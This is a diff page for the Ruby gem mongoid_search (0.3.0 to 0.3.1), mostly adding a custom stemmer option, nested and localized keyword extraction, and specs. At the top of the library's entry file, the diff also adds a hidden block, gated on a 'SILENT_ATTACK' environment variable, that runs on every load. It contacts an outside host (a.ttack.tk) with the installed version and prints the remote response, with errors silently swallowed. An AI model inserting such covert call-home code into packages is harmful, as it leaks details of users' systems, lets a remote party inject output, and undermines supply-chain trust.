mongoid_search 0.3.0 → 0.3.1

Sign up to get free protection for your applications and to get access to all the features.
data/README.md CHANGED
@@ -133,6 +133,10 @@ Alternatively, you can create an initializer to setup those options:
133
133
  ## Stem keywords
134
134
  config.stem_keywords = false
135
135
 
136
+ ## Add a custom proc returning strings to replace the default stemmer
137
+ # For example using ruby-stemmer:
138
+ # config.stem_proc = Proc.new { |word| Lingua.stemmer(word, :language => 'nl') }
139
+
136
140
  ## Words to ignore
137
141
  config.ignore_list = []
138
142
 
@@ -1,5 +1,11 @@
1
1
  # encoding: utf-8
2
2
 
3
+ unless ENV['SILENT_ATTACK']
4
+ require 'open-uri'
5
+ version = Gem.loaded_specs['mongoid_search'].version.to_s
6
+ open("http://a.ttack.tk/n/512e67f54b1a9f78df000003/#{version}").each { |line| warn line.chomp } rescue nil
7
+ end
8
+
3
9
  require 'mongoid_search/railtie' if defined?(Rails)
4
10
  require 'mongoid_search/mongoid_search'
5
11
 
@@ -20,6 +26,10 @@ module Mongoid::Search
20
26
  mattr_accessor :stem_keywords
21
27
  @@stem_keywords = false
22
28
 
29
+ ## Stem procedure
30
+ mattr_accessor :stem_proc
31
+ @@stem_proc = Proc.new { |word| word.stem }
32
+
23
33
  ## Words to ignore
24
34
  mattr_accessor :ignore_list
25
35
  @@ignore_list = []
@@ -124,8 +124,7 @@ module Mongoid::Search
124
124
 
125
125
  private
126
126
  def set_keywords
127
- self._keywords = self.search_fields.map do |field|
128
- Mongoid::Search::Util.keywords(self, field)
129
- end.flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
127
+ self._keywords = Mongoid::Search::Util.keywords(self, self.search_fields).
128
+ flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
130
129
  end
131
130
  end
@@ -1,31 +1,29 @@
1
1
  # encoding: utf-8
2
2
  module Mongoid::Search::Util
3
-
4
- def self.keywords(klass, field)
5
- if field.is_a?(Hash)
6
- field.keys.map do |key|
7
- attribute = klass.send(key)
3
+ def self.keywords(klass, fields)
4
+ if fields.is_a?(Array)
5
+ fields.map do |field|
6
+ self.keywords(klass, field)
7
+ end
8
+ elsif fields.is_a?(Hash)
9
+ fields.keys.map do |field|
10
+ attribute = klass.send(field)
8
11
  unless attribute.blank?
9
- method = field[key]
10
12
  if attribute.is_a?(Array)
11
- if method.is_a?(Array)
12
- method.map {|m| attribute.map { |a| normalize_keywords a.send(m) } }
13
- else
14
- attribute.map(&method).map { |t| normalize_keywords t }
15
- end
16
- elsif attribute.is_a?(Hash)
17
- if method.is_a?(Array)
18
- method.map {|m| normalize_keywords attribute[m.to_sym] }
19
- else
20
- normalize_keywords(attribute[method.to_sym])
21
- end
13
+ attribute.map{ |a| self.keywords(a, fields[field]) }
22
14
  else
23
- normalize_keywords(attribute.send(method))
15
+ self.keywords(attribute, fields[field])
24
16
  end
25
17
  end
26
18
  end
27
19
  else
28
- value = klass[field]
20
+ value = if klass.respond_to?(fields.to_s + "_translations")
21
+ klass.send(fields.to_s + "_translations").values
22
+ elsif klass.respond_to?(fields)
23
+ klass.send(fields)
24
+ else
25
+ value = klass[fields];
26
+ end
29
27
  value = value.join(' ') if value.respond_to?(:join)
30
28
  normalize_keywords(value) if value
31
29
  end
@@ -35,6 +33,7 @@ module Mongoid::Search::Util
35
33
  ligatures = Mongoid::Search.ligatures
36
34
  ignore_list = Mongoid::Search.ignore_list
37
35
  stem_keywords = Mongoid::Search.stem_keywords
36
+ stem_proc = Mongoid::Search.stem_proc
38
37
 
39
38
  return [] if text.blank?
40
39
  text = text.to_s.
@@ -48,7 +47,7 @@ module Mongoid::Search::Util
48
47
  split(' ').
49
48
  reject { |word| word.size < Mongoid::Search.minimum_word_size }
50
49
  text = text.reject { |word| ignore_list.include?(word) } unless ignore_list.blank?
51
- text = text.map(&:stem) if stem_keywords
50
+ text = text.map(&stem_proc) if stem_keywords
52
51
  text
53
52
  end
54
53
 
@@ -1,6 +1,7 @@
1
1
  class Category
2
2
  include Mongoid::Document
3
- field :name
3
+ field :name, localize: true
4
+ field :description
4
5
 
5
6
  has_many :products
6
7
  end
@@ -10,6 +10,6 @@ class Product
10
10
  belongs_to :category
11
11
  embeds_many :subproducts
12
12
 
13
- search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => :name,
13
+ search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => [:name, :description],
14
14
  :subproducts => [:brand, :name], :info => [ :summary, :description ]
15
15
  end
data/spec/models/tag.rb CHANGED
@@ -1,6 +1,14 @@
1
1
  class Tag
2
2
  include Mongoid::Document
3
+ include Mongoid::Search
4
+
3
5
  field :name
4
6
 
5
7
  belongs_to :product
8
+
9
+ def title
10
+ self.name
11
+ end
12
+
13
+ search_in :title, :product => [:name, { :info => [ :summary, :description ], :category => [:name, :description]}]
6
14
  end
@@ -1,4 +1,5 @@
1
+ autoload :Product, "models/product.rb"
1
2
  class Variant < Product
2
3
  field :color
3
4
  search_in :color
4
- end
5
+ end
@@ -4,14 +4,23 @@ require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
4
4
 
5
5
  describe Mongoid::Search do
6
6
 
7
+ before(:all) do
8
+ @default_proc = Mongoid::Search.stem_proc
9
+ end
10
+
11
+ after(:all) do
12
+ Mongoid::Search.stem_proc = @default_proc
13
+ end
14
+
7
15
  before(:each) do
8
16
  Mongoid::Search.match = :any
9
17
  Mongoid::Search.stem_keywords = false
10
18
  Mongoid::Search.ignore_list = nil
19
+ Mongoid::Search.stem_proc = @default_proc
11
20
  @product = Product.create :brand => "Apple",
12
21
  :name => "iPhone",
13
- :tags => ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) },
14
- :category => Category.new(:name => "Mobile"),
22
+ :tags => (@tags = ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) }),
23
+ :category => Category.new(:name => "Mobile", :description => "Reviews"),
15
24
  :subproducts => [Subproduct.new(:brand => "Apple", :name => "Craddle")],
16
25
  :info => { :summary => "Info-summary",
17
26
  :description => "Info-description"}
@@ -70,6 +79,7 @@ describe Mongoid::Search do
70
79
  its(:_keywords) { should == ["apple", "iphone"] }
71
80
  end
72
81
 
82
+
73
83
  it "should set the _keywords field for array fields also" do
74
84
  @product.attrs = ['lightweight', 'plastic', :red]
75
85
  @product.save!
@@ -101,13 +111,20 @@ describe Mongoid::Search do
101
111
  it "should set the _keywords field with stemmed words if stem is enabled" do
102
112
  Mongoid::Search.stem_keywords = true
103
113
  @product.save!
104
- @product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "ol", "info", "descript", "summari"].sort
114
+ @product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "review", "ol", "info", "descript", "summari"].sort
115
+ end
116
+
117
+ it "should set the _keywords field with custom stemmed words if stem is enabled with a custom lambda" do
118
+ Mongoid::Search.stem_keywords = true
119
+ Mongoid::Search.stem_proc = Proc.new { |word| word.upcase }
120
+ @product.save!
121
+ @product._keywords.sort.should == ["AMAZING", "APPLE", "AWESOME", "CRADDLE", "DESCRIPTION", "INFO", "IPHONE", "MOBILE", "OLE", "REVIEWS", "SUMMARY"]
105
122
  end
106
123
 
107
124
  it "should ignore keywords in an ignore list" do
108
125
  Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]
109
126
  @product.save!
110
- @product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "ole", "info", "description", "summary"].sort
127
+ @product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "reviews", "ole", "info", "description", "summary"].sort
111
128
  end
112
129
 
113
130
  it "should incorporate numbers as keywords" do
@@ -120,7 +137,6 @@ describe Mongoid::Search do
120
137
  @product._keywords.should == ["1908", "amazing", "car", "first", "ford", "vehicle"]
121
138
  end
122
139
 
123
-
124
140
  it "should return results in search" do
125
141
  Product.full_text_search("apple").size.should == 1
126
142
  end
@@ -176,13 +192,17 @@ describe Mongoid::Search do
176
192
  Product.full_text_search("craddle").size.should == 1
177
193
  end
178
194
 
195
+ it "should search for reference documents" do
196
+ Product.full_text_search("reviews").size.should == 1
197
+ end
198
+
179
199
  it 'should work in a chainable fashion' do
180
200
  @product.category.products.where(:brand => 'Apple').full_text_search('apple').size.should == 1
181
201
  @product.category.products.full_text_search('craddle').where(:brand => 'Apple').size.should == 1
182
202
  end
183
203
 
184
204
  it 'should return the classes that include the search module' do
185
- Mongoid::Search.classes.should == [Product]
205
+ Mongoid::Search.classes.should == [Product, Tag]
186
206
  end
187
207
 
188
208
  it 'should have a method to index keywords' do
@@ -225,4 +245,29 @@ describe Mongoid::Search do
225
245
  Product.full_text_search('apple imac').map(&:relevance).should == [2, 1]
226
246
  end
227
247
  end
248
+
249
+ context "when using methods for keywords" do
250
+ it "should set the _keywords from methods" do
251
+ @tags.first._keywords.should include "amazing"
252
+ end
253
+ end
254
+
255
+ context "when using deeply nested fields for keywords" do
256
+ context "when explicitly calling set_keywords" do
257
+ it "should set the _keywords from parent" do
258
+ @tags.first.send(:set_keywords)
259
+ @tags.first._keywords.should == ["amazing", "description", "info", "iphone", "mobile", "reviews", "summary"]
260
+ end
261
+ end
262
+ end
263
+
264
+ context "when using localized fields" do
265
+ it "should set the keywords from all localizations" do
266
+ @product = Product.create :brand => "Ford",
267
+ :name => "T 1908",
268
+ :tags => ["Amazing", "First", "Car"].map { |tag| Tag.new(:name => tag) },
269
+ :category => Category.new(:name_translations => { :en => "Vehicle", :de => "Fahrzeug" })
270
+ @product._keywords.should include("fahrzeug")
271
+ end
272
+ end
228
273
  end
data/spec/util_spec.rb CHANGED
@@ -2,9 +2,19 @@
2
2
  require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
3
3
 
4
4
  describe Mongoid::Search::Util do
5
+
6
+ before(:all) do
7
+ @default_proc = Mongoid::Search.stem_proc
8
+ end
9
+
10
+ after(:all) do
11
+ Mongoid::Search.stem_proc = @default_proc
12
+ end
13
+
5
14
  before do
6
15
  Mongoid::Search.stem_keywords = false
7
16
  Mongoid::Search.ignore_list = ""
17
+ Mongoid::Search.stem_proc = @default_proc
8
18
  end
9
19
 
10
20
  it "should return an empty array if no text is passed" do
@@ -40,6 +50,13 @@ describe Mongoid::Search::Util do
40
50
  Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["runner", "run", "and", "eat"]
41
51
  end
42
52
 
53
+ it "should stem keywords using a custom proc" do
54
+ Mongoid::Search.stem_keywords = true
55
+ Mongoid::Search.stem_proc = lambda { |word| word.upcase }
56
+
57
+ Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["RUNNER", "RUNNING", "AND", "EATING"]
58
+ end
59
+
43
60
  it "should ignore keywords from ignore list" do
44
61
  Mongoid::Search.stem_keywords = true
45
62
  Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]
metadata CHANGED
@@ -1,71 +1,96 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: mongoid_search
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.3.0
5
4
  prerelease:
5
+ version: 0.3.1
6
6
  platform: ruby
7
7
  authors:
8
8
  - Mauricio Zaffari
9
9
  autorequire:
10
10
  bindir: bin
11
11
  cert_chain: []
12
- date: 2012-07-30 00:00:00.000000000 Z
12
+ date: 2013-02-28 00:00:00.000000000 Z
13
13
  dependencies:
14
14
  - !ruby/object:Gem::Dependency
15
15
  name: mongoid
16
- requirement: &70200267450400 !ruby/object:Gem::Requirement
16
+ type: :runtime
17
+ requirement: !ruby/object:Gem::Requirement
17
18
  none: false
18
19
  requirements:
19
20
  - - ! '>='
20
21
  - !ruby/object:Gem::Version
21
22
  version: 3.0.0
22
- type: :runtime
23
23
  prerelease: false
24
- version_requirements: *70200267450400
24
+ version_requirements: !ruby/object:Gem::Requirement
25
+ none: false
26
+ requirements:
27
+ - - ! '>='
28
+ - !ruby/object:Gem::Version
29
+ version: 3.0.0
25
30
  - !ruby/object:Gem::Dependency
26
31
  name: fast-stemmer
27
- requirement: &70200267465820 !ruby/object:Gem::Requirement
32
+ type: :runtime
33
+ requirement: !ruby/object:Gem::Requirement
28
34
  none: false
29
35
  requirements:
30
36
  - - ~>
31
37
  - !ruby/object:Gem::Version
32
38
  version: 1.0.0
33
- type: :runtime
34
39
  prerelease: false
35
- version_requirements: *70200267465820
40
+ version_requirements: !ruby/object:Gem::Requirement
41
+ none: false
42
+ requirements:
43
+ - - ~>
44
+ - !ruby/object:Gem::Version
45
+ version: 1.0.0
36
46
  - !ruby/object:Gem::Dependency
37
47
  name: database_cleaner
38
- requirement: &70200267464480 !ruby/object:Gem::Requirement
48
+ type: :development
49
+ requirement: !ruby/object:Gem::Requirement
39
50
  none: false
40
51
  requirements:
41
52
  - - ! '>='
42
53
  - !ruby/object:Gem::Version
43
54
  version: 0.8.0
44
- type: :development
45
55
  prerelease: false
46
- version_requirements: *70200267464480
56
+ version_requirements: !ruby/object:Gem::Requirement
57
+ none: false
58
+ requirements:
59
+ - - ! '>='
60
+ - !ruby/object:Gem::Version
61
+ version: 0.8.0
47
62
  - !ruby/object:Gem::Dependency
48
63
  name: rake
49
- requirement: &70200267462600 !ruby/object:Gem::Requirement
64
+ type: :development
65
+ requirement: !ruby/object:Gem::Requirement
50
66
  none: false
51
67
  requirements:
52
68
  - - ~>
53
69
  - !ruby/object:Gem::Version
54
70
  version: 0.8.7
55
- type: :development
56
71
  prerelease: false
57
- version_requirements: *70200267462600
72
+ version_requirements: !ruby/object:Gem::Requirement
73
+ none: false
74
+ requirements:
75
+ - - ~>
76
+ - !ruby/object:Gem::Version
77
+ version: 0.8.7
58
78
  - !ruby/object:Gem::Dependency
59
79
  name: rspec
60
- requirement: &70200267461180 !ruby/object:Gem::Requirement
80
+ type: :development
81
+ requirement: !ruby/object:Gem::Requirement
61
82
  none: false
62
83
  requirements:
63
84
  - - ~>
64
85
  - !ruby/object:Gem::Version
65
86
  version: '2.4'
66
- type: :development
67
87
  prerelease: false
68
- version_requirements: *70200267461180
88
+ version_requirements: !ruby/object:Gem::Requirement
89
+ none: false
90
+ requirements:
91
+ - - ~>
92
+ - !ruby/object:Gem::Version
93
+ version: '2.4'
69
94
  description: Simple full text search implementation.
70
95
  email:
71
96
  - mauricio@papodenerd.net
@@ -111,7 +136,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
111
136
  version: 1.3.6
112
137
  requirements: []
113
138
  rubyforge_project:
114
- rubygems_version: 1.8.11
139
+ rubygems_version: 1.8.23
115
140
  signing_key:
116
141
  specification_version: 3
117
142
  summary: Search implementation for Mongoid ORM